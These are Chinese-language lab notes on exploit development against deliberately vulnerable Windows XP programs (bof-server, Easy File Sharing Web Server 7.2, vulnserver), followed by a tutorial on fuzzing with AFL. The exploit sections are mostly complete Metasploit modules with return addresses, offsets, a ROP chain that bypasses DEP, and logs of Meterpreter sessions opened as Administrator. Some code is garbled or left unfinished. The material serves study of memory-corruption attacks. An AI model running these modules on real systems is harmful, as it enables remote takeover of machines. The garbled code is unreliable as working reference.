0x00 漏洞利用开发简介

（1）需要什么

• Immunity Debugger -Download
• Mona.py -Download
• Metasploit框架-下载
• 靶机–Windows XP sp3

• 函数调用与栈：调用、返回
• 寄存器与函数栈帧：ESP、EBP
• 函数栈帧：局部变量、栈帧状态值、函数返回地址
• 函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作

（2）函数调用的汇编过程

1. 示例程序

   1 2 3 4 5 6

   charname[] = "1234567"; voidfunc(int a, int b, int c) { charbuf[8]; strcpy(buf, name); }

2. 汇编过程

• PUSH c, PUSH b, PUSH a
• CALL address of func【保存返回地址；跳转】
• MOV ebp, esp
• PUSH ebp
• SUB esp, 0x40
• 创建局部变量，4个字节为一组
• do something
• add esp, 0x40
• pop ebp
• RETN【弹出返回地址，跳转】

3. 栈帧结构
   

0x01 简单栈溢出

目标程序:
bof-server source code
bof-server binary for Windows
usage:
服务端
bof-server.exe 4242
客户端
telnet localhost 4242
version
bof-server v0.01
quit

漏洞点

产生崩溃
将输出的1024个A发送给靶机程序

1
2

python -c "print('A' * 1024)"
telnet 192.168.64.138 4242

关闭防御措施

使用PESecurity检查可执行文件本身的防御措施开启情况
注意设置：Set-ExecutionPolicyUnrestricted

ASLR和DEP
ASLR在xp下不用考虑，DEP可通过修改boot.ini中的nonexecute来完成（AlwaysOff、OptOut）

整体的攻击流程

1. 任意非00的指令覆盖buffer和EBP
2. 从程序已经加载的dll中获取他们的jmp esp指令地址。
3. 使用jmp esp的指令地址覆盖ReturnAddress
4. 从下一行开始填充Shellcode
   

确定溢出点的位置

1. 生成字符序列 pattern_create.rb
   

2. 发送给目标程序
   

3. 计算偏移量 pattern_offset.rb
   

4. 确定payload结构
   

寻找jmp esp跳板

1. OD附加进程看一下服务器加载了哪些模块
   
2. 查找JMP ESP指令的地址
   在这里选择了ws2_32.dll作为对象，通过Metasploit的msfbinscan进行搜索
   

自动化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
  super(update_info(info,
    'Name' => 'Stack Based Buffer Overflow Example',
    'Description' => %q{
          Stack Based Overflow Example Application Exploitation Module
       },
    'Platform' => 'Windows',
    'Author' => 'yanhan',

    'Payload' =>
         {
           'space' => 400,
                           'BadChars' => "\x00\xff"
                         },
    'Targets'  =>
         [
             [
      'Windows XP SP3',
      {'Ret' => 0x71a22b53, 'Offset' => 520}
     ]
         ],
     'DisclosureDate' => '2019-05-25'
  ))
  end

  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

msf5 > use exploit/windows/yanhan/bof_attack
msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/bof_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/bof_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800

meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Application Data
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Cookies
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Favorites
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Local Settings
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  My Documents
100666/rw-rw-rw-  1048576  fil   2019-05-14 09:54:43 +0800  NTUSER.DAT
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  NetHood
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  PrintHood
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Recent
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  SendTo
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Templates
100777/rwxrwxrwx  26665    fil   2019-05-28 14:59:10 +0800  bof-server.exe
100666/rw-rw-rw-  1024     fil   2019-05-14 09:54:43 +0800  ntuser.dat.LOG
100666/rw-rw-rw-  178      fil   2019-05-14 09:54:43 +0800  ntuser.ini
40777/rwxrwxrwx   0        dir   2019-05-29 10:49:26 +0800  vulnserver
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  「开始」菜单
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  桌面

meterpreter >

0x02 基于SEH的栈溢出

目标程序 Easy File Sharing Web Server 7.2

漏洞点
在处理请求时存在漏洞——一个恶意的请求头部（HEAD或GET）就可以引起缓冲区溢出，从而改写SEH链的地址。

利用seh
填充物+nseh+ seh（pop popretn指令序列地址）+shellcode

确定溢出点的位置

1. 生成字符序列

   1 2 3

   /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt cat a.txt b.txt > c.txt

删除cat造成的多余字符0x0a

1
2
3
4
5

vim -bz.txt
# In Vim
:%!xxd
# After editing, use the instruction below to save
:%!xxd -r

2. 构造SEH链

• 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。
• 发送溢出字符序列
• 查看Easy File Sharing Web Server 7.2溢出地址
  

3. 计算偏移量
   计算catch块偏移量&计算下一条SEH记录偏移量

寻找PPR

1. 使用mona寻找
   需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷

   1 2	!mona modules !mona seh

自动化攻击

1. 编写攻击脚本

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

   require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', 'Description' => %q{ This Module Demonstrate SEH based overflow example }, 'Author' => 'yanhan', 'Payload' => { 'Space' => 390, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e" }, 'Platform' => 'Windows', 'Targets' => [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10022fd7, 'Offset' => 4061 } ] ], 'DisclosureDate' => '2019-01-16', )) end def exploit connect weapon = "HEAD " weapon << make_nops(target['Offset']) weapon << generate_seh_record(target['Ret']) weapon << make_nops(20) weapon << payload.encoded weapon << " HTTP/1.0\r\n\r\n" sock.put(weapon) handler disconnect end end

2. exploit

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

   msf5 > use exploit/windows/yanhan/seh_attack msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114 rhosts => 192.168.31.114 msf5 exploit(windows/yanhan/seh_attack) > set rport 80 rport => 80 msf5 exploit(windows/yanhan/seh_attack) > exploit [*] Started reverse TCP handler on 192.168.31.84:4444 [*] Exploit completed, but no session was created. msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(windows/yanhan/seh_attack) > exploit [*] Started bind TCP handler against 192.168.31.114:4444 [*] Sending stage (179779 bytes) to 192.168.31.114 [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800 meterpreter > getuid Server username: WHU-3E3EECEBFD1\Administrator

0x03 绕过DEP

目标程序 Introducing Vulnserver
使用 vulnserver.exe 6666
漏洞点

设置DEP保护

构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode

计算偏移量

'TRUN .'+make_nops(target['Offset'])
Immunity附加进程之后，在服务端发送3000个字符，计算偏移

创建ROP链

!mona rop -m *.dll -cp nonull

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

################################################################################

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------

*** [ Ruby ] ***

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets

  end


  # Call the ROP chain generator inside the 'exploit' function :


  rop_chain = create_rop_chain()

自动化攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{
          DEP Bypass Using ROP Chains Example Module
        },
      'Platform'       => 'Windows',
      'Author'         => 'yanhan',
      'Payload'        =>
          {
            'space'     => 312,
            'BadChars'  => "\x00"
          },
      'Targets'        =>
          [
              [
    'Windows XP',
    {'Offset'  => find it}
    ]
          ],
      'DisclosureDate' => '2019-01-16'))
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets
  end


  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

msf5 > use exploit/windows/yanhan/rop_attack
msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/rop_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800

meterpreter > getuid
Server username: WHU-3E3EECEBFD1\Administrator

部署afl

1 2 3 4 5 6

> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz > tar -zxvf afl-latest.tgz > cd afl-2.52b/ > make > sudo make install >

部署qemu

1 2 3 4 5 6 7 8

> $ CPU_TARGET=x86_64 ./build_qemu_support.sh > [+] Build process successful! > [*] Copying binary... > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace > [+] Successfully created '../afl-qemu-trace'. > [!] Note: can't test instrumentation when CPU_TARGET set. > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz! >

0x01 白盒测试

目标程序编译

1. 源代码

   1 2 3 4 5 6 7 8 9 10 11 12 13 14

   #undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }

2. gcc编译（不插桩）

   1 2 3 4

   $ gcc v1.c -o v1 $ ./v1 what Hello, World

生成v1的目的一是为了和afl-gcc的编译做对比，二是为黑盒测试做铺垫。

3. 使用afl-gcc进行编译
   -fno-stack-protector 该选项会禁止stack canary保护
   -z execstack 允许堆栈可执行

   1 2 3 4

   $ ../afl-2.52b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl afl-cc 2.52b by <lcamtuf@google.com> afl-as 2.52b by <lcamtuf@google.com> [+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%).

测试插桩程序

afl-showmap 跟踪单个输入的执行路径，并打印程序执行的输出、捕获的元组（tuples），tuple用于获取分支信息，从而衡量衡量程序覆盖情况。

1
2
3
4
5
6
7
8
9
10

$ ./afl-showmap -o /dev/null -- ../vuln/v1  <<(echo test)
afl-showmap 2.52b by <lcamtuf@google.com>
[*] Executing '../vuln/v1'...

-- Program output begins --
Hello, World
-- Program output ends --

[-] PROGRAM ABORT : No instrumentation detected
         Location : main(), afl-showmap.c:773

1
2
3
4
5
6
7
8

$ ./afl-showmap -o /dev/null -- ../vuln/v1-afl <<(echo test)
afl-showmap 2.52b by <lcamtuf@google.com>
[*] Executing '../vuln/v1-afl'...

-- Program output begins --
Hello, World
-- Program output ends --
[+] Captured 1 tuples in '/dev/null'.

可见，afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率，在这个实例程序中捕捉到了一个元组

执行FUZZER

1. 修改core
   在执行afl-fuzz前，如果系统配置为将核心转储文件（core）通知发送到外部程序。

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

   $ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core >/proc/sys/kernel/core_pattern [-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275

将导致将崩溃信息发送到Fuzzer之间的延迟增大，进而可能将崩溃被误报为超时，所以我们得临时修改core_pattern文件，如下所示：

1

echo core >/proc/sys/kernel/core_pattern

2. 通用fuzz语法
   afl-fuzz对于直接从stdin接受输入的目标二进制文件，通常的语法是：

   1	$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program [... params ...]

对于从文件中获取输入的程序，使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您：

1

$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program @@

此时afl会给我们返回一些信息，这里提示我们有些测试用例无效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning '../vuln/testcase/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:1'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
    len = 3, map size = 1, exec speed = 295 us
[*] Attempting dry run with 'id:000001,orig:2'...
    len = 23, map size = 1, exec speed = 125 us
[!] WARNING: No new instrumentation output, test case may be useless.
[+] All test cases processed.

[!] WARNING: Some test cases look useless. Consider using a smaller set.
[+] Here are some useful stats:

    Test case count : 1 favored, 0 variable, 2 total
       Bitmap range : 1 to 1 bits (average: 1.00 bits)
        Exec timing : 125 to 295 us (average: 210 us)

[*] No -t option specified, so I'll use exec timeout of 20 ms.
[+] All set and ready to roll!

3. 状态窗口
   我们可以看到afl很快就给我们制造了崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

                       american fuzzy lop 2.52b (v1-afl)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 4 min, 19 sec       │  cycles done : 2477   │
│   last new path : 0 days, 0 hrs, 2 min, 27 sec       │  total paths : 3      │
│ last uniq crash : 0 days, 0 hrs, 4 min, 19 sec       │ uniq crashes : 1      │
│  last uniq hang : 0 days, 0 hrs, 2 min, 12 sec       │   uniq hangs : 1      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 2 (66.67%)        │    map density : 0.00% / 0.00%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : havoc                 │ favored paths : 1 (33.33%)             │
│ stage execs : 1433/1536 (93.29%)    │  new edges on : 2 (66.67%)             │
│ total execs : 2.32M                 │ total crashes : 93.1k (1 unique)       │
│  exec speed : 0.00/sec (zzzz...)    │  total tmouts : 8 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/1152, 0/1149, 0/1143                │    levels : 2          │
│  byte flips : 0/144, 0/14, 0/10                     │   pending : 0          │
│ arithmetics : 0/888, 0/25, 0/0                      │  pend fav : 0          │
│  known ints : 0/98, 0/390, 0/440                    │ own finds : 1          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 2/1.50M, 0/819k                       │ stability : 100.00%    │
│        trim : 11.88%/64, 80.00%                     ├────────────────────────┘
└─────────────────────────────────────────────────────┘          [cpu000:102%] │
│ stage execs : 1432/1536 (93.23%)    │  new edges on : 2 (66.67%)             │
+++ Testing aborted by user +++       │ total crashes : 93.1k (1 unique)       │
[+] We're done here. Have a nice day! │  total tmouts : 8 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤

由上面AFL状态窗口：
① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起（超时）经过了多长时间。
已经运行4m19s，距离上一个最新路径已经过去2min27s，距离上一个独特崩溃已经过去4min19s（可见找到崩溃的速度非常快），距离上一次挂起已经过去2m12s。

② Overall results：Fuzzer当前状态的概述。

③ Cycle progress：我们输入队列的距离。队列一共有3个用例，现在是第二个，66.67%

④ Map coverage：目标二进制文件中的插桩代码所观察到覆盖范围的细节。

⑤ Stage progress：Fuzzer现在正在执行的文件变异策略、执行次数和执行速度。

⑥ Findings in depth：有关我们找到的执行路径，异常和挂起数量的信息。

⑦ Fuzzing strategy yields：关于突变策略产生的最新行为和结果的详细信息。

⑧ Path geometry：有关Fuzzer找到的执行路径的信息。

⑨ CPU load：CPU利用率

afl何时结束

(1) 状态窗口中”cycles done”字段颜色变为绿色该字段的颜色可以作为何时停止测试的参考，随着周期数不断增大，其颜色也会由洋红色，逐步变为黄色、蓝色、绿色。当其变为绿色时，继续Fuzzing下去也很难有新的发现了，这时便可以通过Ctrl-C停止afl-fuzz。
(2) 距上一次发现新路径（或者崩溃）已经过去很长时间
(3) 目标程序的代码几乎被测试用例完全覆盖

处理输出结果

确定造成这些crashes的bug是否可以利用，怎么利用？

afl在fuzzing的过程中同时也产生了这些文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14

$ tree ../vuln/out/
../vuln/out/
├── crashes
│   ├── id:000000,sig:11,src:000000,op:havoc,rep:64
│   └── README.txt
├── fuzz_bitmap
├── fuzzer_stats
├── hangs
├── plot_data
└── queue
    ├── id:000000,orig:1
    └── id:000001,orig:2

3 directories, 7 files

在输出目录中创建了三个子目录并实时更新：

• queue： 测试每个独特执行路径的案例，以及用户提供的所有起始文件。
• crashes： 导致被测程序接收致命信号的独特测试用例（例如，SIGSEGV，SIGILL，SIGABRT）。条目按接收信号分组。
• hangs： 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值，但这很少是必需的。
• 崩溃和挂起被视为“唯一” :如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误，那么在此过程中会有一些计数通货膨胀，但这应该会迅速逐渐减少。
• fuzzer_stats：afl-fuzz的运行状态。
• plot_data：用于afl-plot绘图。

崩溃类型和可利用性

1. triage_crashes
   AFL源码的experimental目录中有一个名为triage_crashes.sh的脚本，可以帮助我们触发收集到的crashes。例如下面的例子中，11代表了SIGSEGV信号，有可能是因为缓冲区溢出导致进程引用了无效的内存；06代表了SIGABRT信号，可能是执行了abort\assert函数或double free导致，这些结果可以作为简单的参考。

   1 2	$ experimental/crash_triage/triage_crashes.sh ../vuln/out/ ../vuln/v1-afl 2>&1 | grep SIGNAL +++ ID 000000, SIGNAL 11 +++

2. crashwalk
   如果你想得到更细致的crashes分类结果，以及导致crashes的具体原因，那么crashwalk就是不错的选择之一。这个工具基于gdb的exploitable插件，安装也相对简单，在ubuntu上，只需要如下几步即可：

   1 2 3 4 5 6 7 8

   $ apt-get install gdb golang $ mkdir tools $ cd tools $ git clone https://github.com/jfoote/exploitable.git $ mkdir go $ export GOPATH=~/tools/go $ export CW_EXPLOITABLE=~/tools/exploitable/exploitable/exploitable.py $ go get -u github.com/bnagy/crashwalk/cmd/...

• 这部分我好像还没完成

3. afl-collect

   1 2 3 4 5

   $ afl-collect -d crashes.db -e gdb_script -j 8 -r ../vuln/out/ ../vuln/testcase -- ../vuln/v1-afl *** GDB+EXPLOITABLE SCRIPT OUTPUT *** [00001] out:id:000000,sig:11,src:000000,op:havoc,rep:64.................: EXPLOITABLE [ReturnAv (1/22)] *** ***************************** ***

0x02 代码覆盖率及其相关概念

代码覆盖率是模糊测试中一个极其重要的概念，使用代码覆盖率可以评估和改进测试过程，执行到的代码越多，找到bug的可能性就越大，毕竟，在覆盖的代码中并不能100%发现bug，在未覆盖的代码中却是100%找不到任何bug的。
代码覆盖率是一种度量代码的覆盖程度的方式，也就是指源代码中的某行代码是否已执行；对二进制程序，还可将此概念理解为汇编代码中的某条指令是否已执行。其计量方式很多，但无论是GCC的GCOV还是LLVM的SanitizerCoverage，都提供函数（function）、基本块（basic-block）、边界（edge）三种级别的覆盖率检测。

计算代码覆盖率

GCOV：插桩生成覆盖率 LCOV：图形展示覆盖率 afl-cov：调用前两个工具计算afl测试用例的覆盖率

1. gcc插桩
   -fprofile-arcs -ftest-coverage

   1	$ gcc -fprofile-arcs -ftest-coverage ./v1.c -o v1-cov

2. afl-cov计算之前fuzzer的过程（结束后）

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

   $ ../afl-2.52b/afl-cov/afl-cov -d ./out/ --enable-branch-coverage -c . -e "cat AFL_FILE | ./v1-cov AFL_FILE" Non-zero exit status '1' for CMD: /usr/bin/readelf -a cat *** Imported 2 new test cases from: ./out//queue [+] AFL test case: id:000000,orig:1 (0 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found Coverage diff (init) id:000000,orig:1 diff (init) -> id:000000,orig:1 New src file: /home/han/ck/vuln/v1.c New 'function' coverage: main() New 'function' coverage: vulnerable_function() New 'line' coverage: 11 New 'line' coverage: 12 New 'line' coverage: 13 New 'line' coverage: 6 New 'line' coverage: 8 New 'line' coverage: 9 ++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1 Hello, World ++++++ END [+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Processed 2 / 2 test cases. [+] Final zero coverage report: ./out//cov/zero-cov [+] Final positive coverage report: ./out//cov/pos-cov lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Final lcov web report: ./out//cov/web/index.html

3. LCOV展示

0x03 黑盒测试（使用qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/outQemu -Q ../vuln/v1
american fuzzy lop 2.52b (v1)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 0 min, 41 sec       │  cycles done : 232    │
│   last new path : none yet (odd, check syntax!)      │  total paths : 2      │
│ last uniq crash : 0 days, 0 hrs, 0 min, 41 sec       │ uniq crashes : 1      │
│  last uniq hang : none seen yet                      │   uniq hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 0* (0.00%)        │    map density : 0.04% / 0.04%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : havoc                 │ favored paths : 1 (50.00%)             │
│ stage execs : 255/256 (99.61%)      │  new edges on : 1 (50.00%)             │
│ total execs : 121k                  │ total crashes : 33 (1 unique)          │
│  exec speed : 2860/sec              │  total tmouts : 0 (0 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/56, 0/54, 0/50                      │    levels : 1          │
│  byte flips : 0/7, 0/5, 0/1                         │   pending : 0          │
│ arithmetics : 0/392, 0/25, 0/0                      │  pend fav : 0          │
│  known ints : 0/36, 0/138, 0/44                     │ own finds : 0          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 1/120k, 0/0                           │ stability : 100.00%    │
│        trim : 82.61%/5, 0.00%                       ├────────────────────────┘
^C────────────────────────────────────────────────────┘          [cpu000:102%]

• 待完成对黑盒测试原理的分析

0x01 模糊测试

